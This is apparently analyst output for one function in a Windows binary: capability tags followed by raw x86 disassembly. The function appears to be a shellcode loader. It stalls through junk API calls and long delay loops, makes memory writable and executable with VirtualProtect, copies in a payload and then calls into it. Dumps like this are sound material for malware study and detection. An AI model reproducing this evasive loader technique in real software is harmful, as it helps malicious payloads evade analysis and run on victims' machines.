Function at 0x4033a0
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x461f7b
push eax
mov dword fs:[0], esp
sub esp, 0xf24
push ebx
push ebp
push esi
xor esi, esi
cmp dword [0x4cf5fc], 0xac
push edi
jne 0x40348f
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov dword [esp + 0xc4], 0xf
mov dword [esp + 0xc0], esi
mov byte [esp + 0xb0], 0
push esi
mov dword [esp + 0xf40], esi
call fcn.004044c2
add esp, 4
push esi
push esi
call fcn.0040476d
add esp, 8
lea ecx, [esp + 0x34]
call fcn.004044f6
lea ecx, [esp + 0x34]
call fcn.004045d4
push 1
push 0x464640
lea ecx, [esp + 0x3c]
call fcn.0040455a
lea ecx, [esp + 0x34]
mov dword [esp + 0x34], 0x402db8
call fcn.004045d4
push esi
call fcn.00404894
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004048fb
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
sub esp, 8
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404660
fstp st(0)
add esp, 0x10
push esi
call fcn.00404c55
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthI]
cmp esi, 0xd298
jge 0x4034ac
push 0
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0
call edi
inc esi
cmp esi, 0x13911
jl 0x403495
add dword [0x4cf5fc], 0x11b1b
call fcn.00403380
mov edx, dword [0x4cf5fc]
mov eax, dword [0x4cc508]
lea ecx, [esp + 0x40]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x4cf5fc], esi
jbe 0x403576
mov edi, dword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
mov ebx, dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, edi
mov ecx, dword [0x4cff9c]
mov dl, byte [ecx + esi + 0x11b1b]
mov eax, dword [0x4cc508]
mov byte [eax + esi], dl
cmp dword [0x4cf5fc], 0xa8
jne 0x40356d
push 0
call edi
call ebx
push 0
call ebp
push 0
push 0
lea ecx, [esp + 0x30]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
xor edx, edx
xor eax, eax
mov word [esp + 0x22], ax
lea ecx, [esp + 0x2c]
push ecx
mov word [esp + 0x24], dx
mov edx, dword [esp + 0x24]
push edx
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x90]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
inc esi
cmp esi, dword [0x4cf5fc]
jb 0x403500
mov esi, dword [esp + 0x28]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
mov dword [esp + 0x24], eax
mov edx, dword [0x4cf5fc]
add edx, eax
cmp edx, 0xe
jne 0x403639
call edi
lea eax, [esp + 0x28]
push eax
call ebp
call ebx
xor ecx, ecx
xor edx, edx
mov word [esp + 0x22], dx
lea eax, [esp + 0x2c]
push eax
mov word [esp + 0x24], cx
mov ecx, dword [esp + 0x24]
push ecx
lea edx, [esp + 0x8c]
push edx
lea eax, [esp + 0xb0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
lea ecx, [esp + 0xe0]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x30
lea edx, [esp + 0xb4]
push 0
push edx
mov dword [esp + 0xb8], 0
call fcn.00407fc0
add esp, 0xc
push esi
lea eax, [esp + 0xb0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
push 0
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esp + 0x24]
inc eax
cmp eax, 0x4f95a3
mov dword [esp + 0x24], eax
jl 0x403592
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov esi, 0x4f4
push 0
push 0
push 0
push 0
call edi
sub esi, 1
jne 0x403654
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esp, [esp]
call edi
cmp esi, 0x3ba47de
jge 0x403aa1
mov dword [esp + 0x84], 0x59bffff0
mov dword [esp + 0xa4], 0x56ee9d45
mov dword [esp + 0x78], 0x72593879
mov dword [esp + 0x64], 0x35ea1f87
mov dword [esp + 0x90], 0x1a4d8bd1
mov dword [esp + 0x94], 0x209dfb6d
mov dword [esp + 0x54], 0x4fe4c0c4
mov dword [esp + 0x6c], 0x3398f0ec
mov dword [esp + 0x44], 0x25364ad0
mov dword [esp + 0x8c], 0x7cd73049
mov dword [esp + 0x20], 0x69804d46
mov dword [esp + 0x60], 0x41481158
mov dword [esp + 0xa0], 0x3711a9eb
mov dword [esp + 0x5c], 0x75e9eb6d
mov dword [esp + 0x7c], 0x1261b678
mov dword [esp + 0x68], 0x77032db7
mov dword [esp + 0x24], 0x3f5126aa
mov dword [esp + 0x4c], 0x3dd7f1d6
mov dword [esp + 0x74], 0x7405b229
mov dword [esp + 0x50], 0x7e7683b4
mov dword [esp + 0x48], 0x2c17efe5
mov dword [esp + 0x34], 0x39aa62a7
mov dword [esp + 0x70], 0x57123d33
mov dword [esp + 0x28], 0x3d162f65
mov dword [esp + 0x30], 0x3fa04047
mov dword [esp + 0x2c], 0x18004575
mov dword [esp + 0x58], 0x15786633
mov dword [esp + 0x98], 0x29d1bd91
mov dword [esp + 0x80], 0x706f0e9e
mov dword [esp + 0x9c], 0x6bea4427
mov eax, 0x2dc4bf86
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
mov eax, 0x371b91d4
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
sub dword [esp + 0x84], 0x5e5e6504
add dword [esp + 0x84], 0x210ab044
mov eax, 0x23eb4f58
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
add dword [esp + 0x84], 0x46d6a951
mov eax, 0x1d8d9657
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
add dword [esp + 0x84], 0x6f4bf86f
sub dword [esp + 0x84], 0x3d11959a
add dword [esp + 0x84], 0x2c30e20
mov eax, 0x34055cf9
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
sub dword [esp + 0x84], 0x795fd520
sub dword [esp + 0x84], 0x68b1efa3
mov eax, 0x766ccec1
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
add dword [esp + 0xa4], 0x4cf7a328
sub dword [esp + 0x84], 0x6f113e84
sub dword [esp + 0x78], 0x4167694e
sub dword [esp + 0x78], 0x112bc91
add dword [esp + 0xa4], 0x6a3bcebb
sub dword [esp + 0x78], 0x73ba4fa5
mov eax, 0x771e8ba
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
mov eax, 0xabcc22c
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
mov eax, 0x7d688e3a
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
sub dword [esp + 0x90], 0x41c1cdfa
sub dword [esp + 0x54], 0x57386d89
sub dword [esp + 0xa4], 0x9958ce0
mov eax, 0x4abe4fd0
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
add dword [esp + 0x78], 0x1593fe4e
sub dword [esp + 0x54], 0x45e5e066
add dword [esp + 0x20], 0x657103fa
sub dword [esp + 0x78], 0x5c56a193
mov eax, 0x412babf2
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
mov eax, 0xceaa60d
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
sub dword [esp + 0x90], 0x6c1f2a33
mov eax, 0x28c4bced
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
add dword [esp + 0x90], 0x3adf2f11
add dword [esp + 0x8c], 0x43b50d75
add dword [esp + 0x94], 0x368fa24b
add dword [esp + 0x44], 0x35b350fd
sub dword [esp + 0x7c], 0x4c905f80
sub dword [esp + 0x7c], 0x10f52070
add dword [esp + 0x20], 0x5638054d
add dword [esp + 0x44], 0x505b42f
sub dword [esp + 0x7c], 0x47d53072
sub dword [esp + 0x84], 0x3468b875
add dword [esp + 0x5c], 0x1fb7f4f2
mov eax, 0x331f07c6
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
mov eax, 0x4ae2af14
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
add dword [esp + 0x64], 0x1ed44eb4
add dword [esp + 0x7c], 0x7a18bcac
mov eax, 0x6833226e
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
add dword [esp + 0x5c], 0x57b646b
mov eax, 0x5af2fe4a
mul dword [esp + 0x74]
mov eax, dword [esp + 0x74]
sub dword [esp + 0x84], 0x4640325a
sub dword [esp + 0x20], 0x5b28a8dc
add dword [esp + 0x74], 0x47777d25
mov eax, 0x593562b3
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
mov eax, 0x470a1efe
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
add dword [esp + 0x84], 0x191a169a
mov eax, 0x33893a71
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
sub dword [esp + 0x30], 0x3ec95617
mov eax, 0x73a702dd
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
sub dword [esp + 0x8c], 0x393f82c0
add dword [esp + 0x5c], 0x7e6d0fd1
add dword [esp + 0x34], 0x4a144385
add dword [esp + 0x7c], 0xb09be96
add dword [esp + 0x68], 0x185a4a00
add dword [esp + 0x60], 0x5d9873c8
mov eax, 0x53005cb5
mul dword [esp + 0x74]
mov eax, dword [esp + 0x74]
mov eax, 0x48ccb41e
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
cmp esi, 0xbfa539
jg 0x403ab6
inc esi
cmp esi, 0x19ce67f8
jl 0x403670
call fcn.00403250
xor edx, edx
lea ecx, [ecx]
cmp edx, 0x26
jne 0x403aca
call fcn.00403360
inc edx
cmp edx, 0x409495
jl 0x403ac0
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
mov ebp, 0x7b
lea ebx, [ebx]
cmp dword [0x4cf5fc], 0x86
jne 0x403b0c
push 0
call esi
push 0
call edi
push 0
push 0
push 0
call ebx
sub ebp, 1
jne 0x403af0
mov esi, dword [sym.imp.KERNEL32.dll_HeapSize]
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esp + 0x24], 0x180ef
cmp dword [0x4cf5fc], 0x1f
jne 0x403b7d
push 0
push 0
push 0
call esi
push 0
lea edx, [esp + 0x34]
push edx
push 0
lea eax, [esp + 0x30c]
push eax
push 0
call edi
push 0
lea ecx, [esp + 0x704]
push ecx
call ebx
push 0
push 0
push 0
call ebp
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileIntA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
sub dword [esp + 0x24], 1
jne 0x403b31
push 0x402da8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x4cc508]
mov dword [0x4cc50c], eax
call eax
mov ecx, dword [esp + 0xf34]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret